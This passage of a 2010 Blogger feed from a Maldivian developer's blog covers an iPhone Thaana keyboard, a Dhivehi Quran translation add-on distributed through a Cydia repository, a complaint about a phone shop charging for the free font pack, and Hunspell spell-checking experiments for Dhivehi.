width='72'/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4609163808818168840</id><published>2010-10-16T17:30:00.002+08:00</published><updated>2010-12-22T21:41:27.221+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='thaana'/><title type='text'>iPhone Thaana Keyboard (Coming Soon)</title><content type='html'>&lt;div&gt;&lt;i&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Update: The SHTF in a day or so - stay peeled!&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Bringing the iPhone (I know you have one) a little close to home. Here is a little teaser for those of you interested.&lt;br /&gt;&lt;br /&gt;Keey an eye out here, and don't forget to add &lt;b&gt;&lt;span class="Apple-style-span" style="color: #93c47d;"&gt;http://www.m0bi.com/cydia&lt;/span&gt;&lt;/b&gt; to your cydia sources. &lt;span class="Apple-style-span" style="font-size: small;"&gt;(No this is &lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;NOT&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; being developed by eLL M0bile's people in Malaysia.&lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; They had nothing to do with this.&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_bwme_BmmviI/TLltw090oeI/AAAAAAAAATg/oqz1VSKoodQ/s1600/IMG_0009.PNG" imageanchor="1" rel="iThaanaTease" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/_bwme_BmmviI/TLltw090oeI/AAAAAAAAATg/oqz1VSKoodQ/s320/IMG_0009.PNG" width="213" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_bwme_BmmviI/TLlt1klfLMI/AAAAAAAAATk/NzI1jfidZ7Q/s1600/IMG_0014.PNG" imageanchor="1" rel="iThaanaTease" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/_bwme_BmmviI/TLlt1klfLMI/AAAAAAAAATk/NzI1jfidZ7Q/s320/IMG_0014.PNG" width="213" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Read more after the jump&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_bwme_BmmviI/TLlt5C3jrUI/AAAAAAAAATo/9pNDm3qQu80/s1600/IMG_0015.PNG" imageanchor="1" rel="iThaanaTease" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="213" src="http://2.bp.blogspot.com/_bwme_BmmviI/TLlt5C3jrUI/AAAAAAAAATo/9pNDm3qQu80/s320/IMG_0015.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_bwme_BmmviI/TLlt6BmpcDI/AAAAAAAAATs/paWl6gLemVs/s1600/IMG_0017.PNG" imageanchor="1" rel="iThaanaTease" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/_bwme_BmmviI/TLlt6BmpcDI/AAAAAAAAATs/paWl6gLemVs/s320/IMG_0017.PNG" width="213" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_bwme_BmmviI/TLlt8MCAWrI/AAAAAAAAATw/gEUOCRLEChY/s1600/IMG_0018.PNG" imageanchor="1" rel="iThaanaTease" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/_bwme_BmmviI/TLlt8MCAWrI/AAAAAAAAATw/gEUOCRLEChY/s320/IMG_0018.PNG" width="213" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_bwme_BmmviI/TLlt9v4AL8I/AAAAAAAAAT0/jWTnu_OafGg/s1600/IMG_0019.PNG" imageanchor="1" rel="iThaanaTease" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/_bwme_BmmviI/TLlt9v4AL8I/AAAAAAAAAT0/jWTnu_OafGg/s320/IMG_0019.PNG" width="213" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4609163808818168840?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4609163808818168840/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/10/iphone-thaana-keyboard-coming-soon.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4609163808818168840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4609163808818168840'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/10/iphone-thaana-keyboard-coming-soon.html' title='iPhone Thaana Keyboard (Coming Soon)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_bwme_BmmviI/TLltw090oeI/AAAAAAAAATg/oqz1VSKoodQ/s72-c/IMG_0009.PNG' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3106796278006210680</id><published>2010-10-10T04:03:00.000+08:00</published><updated>2010-10-10T04:03:15.069+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rants'/><title type='text'>Dear eLL Mobile (and others)</title><content type='html'>This has been a long time coming. I didn't want to do this; I did not want to appear like a self absorbed attention whoring bitch. I did not want to do this simply because I do what I do for goodwill, and for the love of it. I do not seek name, profit or fame. I simply wish that somebody somewhere (including myself) may someday find use for whatever I have done here.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I was saddened today to learn that eLL mobile - among others - have been profiting off our (myself and &lt;a href="http://www.afxal.com/"&gt;afxal&lt;/a&gt;) work with the iPhone iOS thaana font pack and the alQuran dhivehi translation mod. Perhaps "profiting" is too mild a word to describe it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I understand that you are a business venture. I have no problems with you installing them on your customers phones. I have no problems with you using our repository. I don't even have a problem with you charging a small service charge for the process. You are most welcome to do so. what I do have a problem with however, is your interpretation of the term "small service fee".&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Sure it incurs bandwidth costs and time (time=money afterall,) but I hardly think that &lt;b&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;100Rf&lt;/span&gt;&lt;/b&gt; to install the font-pack is a fair price. I can get 20, I can get 30...I can even understand 40, but 100? that's pushing it. &amp;nbsp;I can only imagine the kind of profits you're making.&amp;nbsp;To top it off, you actually had the nerve to &lt;b&gt;&lt;span class="Apple-style-span" style="color: #eeeeee;"&gt;claim that you "developed" it, and that you are "developing" solutions for 3.1.3 devices&lt;/span&gt;&lt;/b&gt;. That it would take about two more months to complete it. Now if you really are working on your own solution, please accept my apologies. Let me know if you need help - I would be glad to share my own experience.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Not only have you failed to respect the hard work that we put into this, you have failed to recognize it. You have even gone to such lengths as to remove the repository once you're done installing, and removing the link to my blog. I put the blog link there for a reason. So that people can know where the translation came from, and they could report problems. The idea is not to garner attention, but to get feedback. Feedback that could have helped improve things.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I am not waging war against you. I am not starting an anti-campaign against you. I just wanted to let you know that your blatant disregard for the spirit of community has deeply upset me. I am not seeking compensation or apologies or anything of that regard. A simple thank you initially is all the compensation that I would have ever demanded. &lt;span class="Apple-style-span" style="font-size: x-large;"&gt;&lt;b&gt;What I am asking for, what I really want - is a little respect. Not for me or afxal; but for the people whom you are so blatantly exploiting.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Are we really to feed off each other? are we truly that lost?&amp;nbsp;Have we forgotten the saying that what we give will comeback to us tenfold? Have we been so corrupted by "business" that we have forgotten the value of a common, simple courtesy?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3106796278006210680?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3106796278006210680/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/10/dear-ell-mobile-and-others.html#comment-form' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3106796278006210680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3106796278006210680'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/10/dear-ell-mobile-and-others.html' title='Dear eLL Mobile (and others)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-6795029611295006052</id><published>2010-09-29T13:41:00.000+08:00</published><updated>2010-09-29T13:41:34.947+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><title type='text'>Blog theme up for grabs.</title><content type='html'>I'm not sure if anybody actually really wants to use this but a couple of guys asked me in the comments so I'm putting this up for download. It's a bit messy and hackish in some ways but it works I guess.&lt;br /&gt;&lt;br /&gt;It relies heavily on &lt;a href="http://fancybox.net/"&gt;fancybox&lt;/a&gt; and &lt;a href="http://www.jquery.com/"&gt;jQuery&lt;/a&gt; so you'll need to add those. Also uses &lt;a href="http://alexgorbatchev.com/SyntaxHighlighter"&gt;syntaxhighlighter&lt;/a&gt;. If you look closely you'll find that there's a very rough, custom brush for syntaxhighlighter in here that's used for chordpro highlighting.&lt;br /&gt;&lt;br /&gt;Enjoy.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dl.dropbox.com/u/5385653/blog_template/template-180738146708053206.xml"&gt;&lt;b&gt;Download Template Here&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-6795029611295006052?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/6795029611295006052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/09/blog-theme-up-for-grabs.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6795029611295006052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6795029611295006052'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/09/blog-theme-up-for-grabs.html' title='Blog theme up for grabs.'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-7263018486558271282</id><published>2010-09-22T07:04:00.002+08:00</published><updated>2011-05-20T19:18:42.463+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><category scheme='http://www.blogger.com/atom/ns#' term='Quran'/><title type='text'>Dhivehi for alQuran on iPhone is now LIVE!</title><content type='html'>&lt;p&gt;grab it while it's fresh boys... in relation to my &lt;a href="http://www.kudanai.com/2010/09/iphone-dhivehi-quran-translation.html"&gt;previous post here&lt;/a&gt;, &lt;a href="http://afxal.com/"&gt;Afxal&lt;/a&gt; an I have finally managed to push through the bundle to the public. Now this process is a &lt;span style="font-size: small;"&gt;wheeeeeeee hweeeeeeenee weeensy &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;teeeeenee tiny bit risky&lt;/span&gt; so if you're very very unsure about it let somebody else help you out in installing.&lt;br /&gt; &lt;br /&gt; Well there it is folks. Add &lt;strong&gt;&lt;span style="color: #6aa84f;"&gt;&lt;span style="font-size: x-large;"&gt;http://m0bi.com/cydia&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt; to your cydia sources and enjoy!&lt;/p&gt;&lt;p&gt;As always, the release is issued under the terms of &lt;a href="http://www.gnu.org/copyleft/lesser.html"&gt;GNULesser license&lt;/a&gt; agreement.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-7263018486558271282?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/7263018486558271282/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/09/dhivehi-for-alquran-on-iphone-is-now.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7263018486558271282'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7263018486558271282'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/09/dhivehi-for-alquran-on-iphone-is-now.html' title='Dhivehi for alQuran on iPhone is now LIVE!'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3237813258235910465</id><published>2010-09-21T22:04:00.000+08:00</published><updated>2010-09-21T22:04:22.232+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><title type='text'>Overhauling again</title><content type='html'>I decided that I needed to change the look of the page again. While I loved the pyrmont theme that I was using before, it appears that a lot of other people LOVE it too - not to mention most of them being blogs that I frequent. It was, in effect, beginning to get confusing.&lt;br /&gt;&lt;br /&gt;SO! welcome to the new layout. I've made some changes and optimized things a bit and added a few nice features like adding automatic lightboxing to all pictures. Now it hardly uses any images to do the layout, and also relies heavily on jQuery. I'm quite pleased with how this one came out. I wanted to phase out as much of the distractions as possible and make it as clean and elegant as I could.&lt;br /&gt;&lt;br /&gt;Do let me know if something is broken though :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3237813258235910465?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3237813258235910465/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/09/overhauling-again.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3237813258235910465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3237813258235910465'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/09/overhauling-again.html' title='Overhauling again'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1327327315047600089</id><published>2010-09-20T11:43:00.001+08:00</published><updated>2011-05-20T19:20:11.293+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='Quran'/><title type='text'>iPhone Dhivehi Quran Translation</title><content type='html'>&lt;p&gt;After much hacking away at the iPhone's file system over the last two days, I've finally managed to get Unicode thaana stuff to display properly on the iPhone iOS 4.x&lt;br /&gt; &lt;br /&gt; &lt;em&gt;&lt;strong&gt;THE BAD NEWS is that people using older 2G iphones running 3.x firmware are still outta luck on the unicode front. I'm working on it though..&lt;/strong&gt;&lt;/em&gt;.&lt;br /&gt; &lt;br /&gt; anyway as a by product of the aforementioned success, I've managed to put together a little hack that'll add the Dhivehi translation of the Quran (as found on &lt;a href="http://presidencymaldives.gov.mv/quran"&gt;http://presidencymaldives.gov.mv/quran&lt;/a&gt; ) into the alQuran app from alMubin.com&lt;br /&gt; &lt;br /&gt; the package will be available from &lt;a href="http://afxal.com/"&gt;afxals&lt;/a&gt; cydia repo at &lt;span style="font-family: Helvetica, Arial, sans-serif; font-size: 13px;"&gt;&lt;strong&gt;&lt;span style="color: red;"&gt;m0bi.com/cydia&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; so just add that up and you'll be good to go. also depends on afxals thaana package for iOS, and erica utilities. Also you'll need to have alQuran installed. *if you needed me to tell you that then....well...what the hell..?*&lt;br /&gt; &lt;br /&gt; here are some screenshots of it in action! (I KNOW that the text appears on the wrong side...I CAN fix it I just chose not to for reasons of...elegance lets say)&lt;/p&gt;&lt;p&gt;on the licensing side, since this will inevitably "mix" with non-free code, I am releasing it under &lt;a href="http://www.gnu.org/copyleft/lesser.html"&gt;GNULesser/LGPL&lt;/a&gt;&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a class="group" style="margin-left: 1em; margin-right: 1em;" title="here we go!" rel="alQuran" href="http://1.bp.blogspot.com/_bwme_BmmviI/TJYWj3KKp1I/AAAAAAAAATY/lxvM26kWK2U/s1600/IMG_0159.PNG"&gt;&lt;img src="http://1.bp.blogspot.com/_bwme_BmmviI/TJYWj3KKp1I/AAAAAAAAATY/lxvM26kWK2U/s320/IMG_0159.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt; &lt;br /&gt;&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a class="group" style="margin-left: 1em; margin-right: 1em;" title="Searching works too." rel="alQuran" href="http://3.bp.blogspot.com/_bwme_BmmviI/TJYWlrMpaUI/AAAAAAAAATc/bjuaIwQEn0o/s1600/IMG_0161.PNG"&gt;&lt;img src="http://3.bp.blogspot.com/_bwme_BmmviI/TJYWlrMpaUI/AAAAAAAAATc/bjuaIwQEn0o/s320/IMG_0161.PNG" border="0" alt="" width="213" height="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt; Now if you're curious on how I got the "dhivehi" to appear on the keyboard selection popup ... well let's just say I'm working on it.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1327327315047600089?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1327327315047600089/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/09/iphone-dhivehi-quran-translation.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1327327315047600089'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1327327315047600089'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/09/iphone-dhivehi-quran-translation.html' title='iPhone Dhivehi Quran Translation'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_bwme_BmmviI/TJYWj3KKp1I/AAAAAAAAATY/lxvM26kWK2U/s72-c/IMG_0159.PNG' height='72' width='72'/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1547699847815795394</id><published>2010-09-11T18:15:00.001+08:00</published><updated>2010-09-11T18:17:50.911+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='thaana'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='radheef'/><title type='text'>Experimental Thaana Spell-checking with Hunspell</title><content type='html'>During our (MOSS) recent meeting with the presidents office about the &lt;a href="http://www.kudanai.com/2010/08/dhivehi-quran-translation-now-available.html"&gt;Zekr translation project,&lt;/a&gt; we came to realize that "spell checking" thaana writing is something that people really want - especially in government offices. This gave me incentive to follow up on my previously failed experiments with this.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;[NOTE: I am aware that this feature is available in "Xiosis Scribe", however their approach to this appears to be somewhat lacking and IMHO&amp;nbsp;disappointing. Also, the closed source nature of their system pisses me of]&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;I decided to try and implement this by building a custom dictionary for hunspell. This approach has several advantages too great to be ignored. a) it eliminates the need to write the spell-check engine from the ground up. b) It provides immediate integration into software like openoffice and firefox (and potentially even MSWord) to name a few. Of course there is the risk that it might not be able to handle dhivehi's "rules" - but as I always say if the Arabs and the Hebrews can do it - and it has been done - then so can we.&lt;br /&gt;&lt;br /&gt;So I used the scripts I wrote for &lt;a href="http://www.kudanai.com/2010/09/dict-database-for-dhivehi-radheef.html"&gt;The Radheef project&lt;/a&gt;&amp;nbsp;to generate words, and wrote a simple affix file to munch it down with.&amp;nbsp;Using a dictionary comprising of all the "headwords" in the Radheef, and this affix file I was able to obtain some promising results - enough to convince me that it just may be possible to achieve reasonable results using Hunspell.&lt;br /&gt;&lt;br /&gt;and the saga continues...&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a class="group" href="http://2.bp.blogspot.com/_bwme_BmmviI/TItTYTNunDI/AAAAAAAAATI/RuAWZWJXw7Q/s1600/Screenshot-1.png" imageanchor="1" rel="hunhaara" style="margin-left: auto; margin-right: auto;" title="the Affix file with only rudimentary rules"&gt;&lt;img border="0" height="259" src="http://2.bp.blogspot.com/_bwme_BmmviI/TItTYTNunDI/AAAAAAAAATI/RuAWZWJXw7Q/s320/Screenshot-1.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;The contents of the Affix file&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a class="group" href="http://3.bp.blogspot.com/_bwme_BmmviI/TItTXPHGDeI/AAAAAAAAATE/G09JuQZBo7E/s1600/Screenshot.png" imageanchor="1" rel="hunhaara" style="margin-left: auto; margin-right: auto;" title="The test string to run the spell-check on"&gt;&lt;img border="0" height="133" src="http://3.bp.blogspot.com/_bwme_BmmviI/TItTXPHGDeI/AAAAAAAAATE/G09JuQZBo7E/s320/Screenshot.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;The test file to run the spell check on&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a class="group" href="http://1.bp.blogspot.com/_bwme_BmmviI/TItTaCJiICI/AAAAAAAAATQ/XR5GOqW-nWo/s1600/Screenshot-3.png" imageanchor="1" rel="hunhaara" style="margin-left: auto; margin-right: auto;" title="the command"&gt;&lt;img border="0" height="49" src="http://1.bp.blogspot.com/_bwme_BmmviI/TItTaCJiICI/AAAAAAAAATQ/XR5GOqW-nWo/s320/Screenshot-3.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;We give hunspell a chance to process it...&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a class="group" href="http://4.bp.blogspot.com/_bwme_BmmviI/TItTZX2MVaI/AAAAAAAAATM/zFMj7mxWJwE/s1600/Screenshot-2.png" imageanchor="1" rel="hunhaara" style="margin-left: auto; margin-right: auto;" title="and this is the result..."&gt;&lt;img border="0" height="260" src="http://4.bp.blogspot.com/_bwme_BmmviI/TItTZX2MVaI/AAAAAAAAATM/zFMj7mxWJwE/s320/Screenshot-2.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;and this is the resulting output ("misspelled" words with their suggestions)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;I hope I got the attention of some talented young out there and hope that you take an interest in this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1547699847815795394?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1547699847815795394/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2010/09/experimental-thaana-spell-checking-with.html#comment-form' title='18 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1547699847815795394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1547699847815795394'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2010/09/experimental-thaana-spell-checking-with.html' title='Experimental Thaana Spell-checking with Hunspell'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_bwme_BmmviI/TItTYTNunDI/AAAAAAAAATI/RuAWZWJXw7Q/s72-c/Screenshot-1.png' height='72' width='72'/><thr:total>18</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3842607574118554209</id><published>2010-09-09T13:45:00.001+08:00</published><updated>2010-09-09T18:06:49.008+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thaana'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Get rid of MV Boli on Windows 7/Vista/Xp</title><content type='html'>some time ago our dear friend MoyaMeeha wrote on how to "&lt;a href="http://moyameehaa.blogspot.com/2007/05/how-to-get-rid-of-damned-boli-font.html"&gt;get rid of the damned boli font&lt;/a&gt;" on Windows XP and whatnot. Unfortunately Windows Vista broke the tool that was used..and it remained broken in windows 7.&lt;br /&gt;&lt;br /&gt;Sadly though, MV Boli remains to haunt us.&lt;br 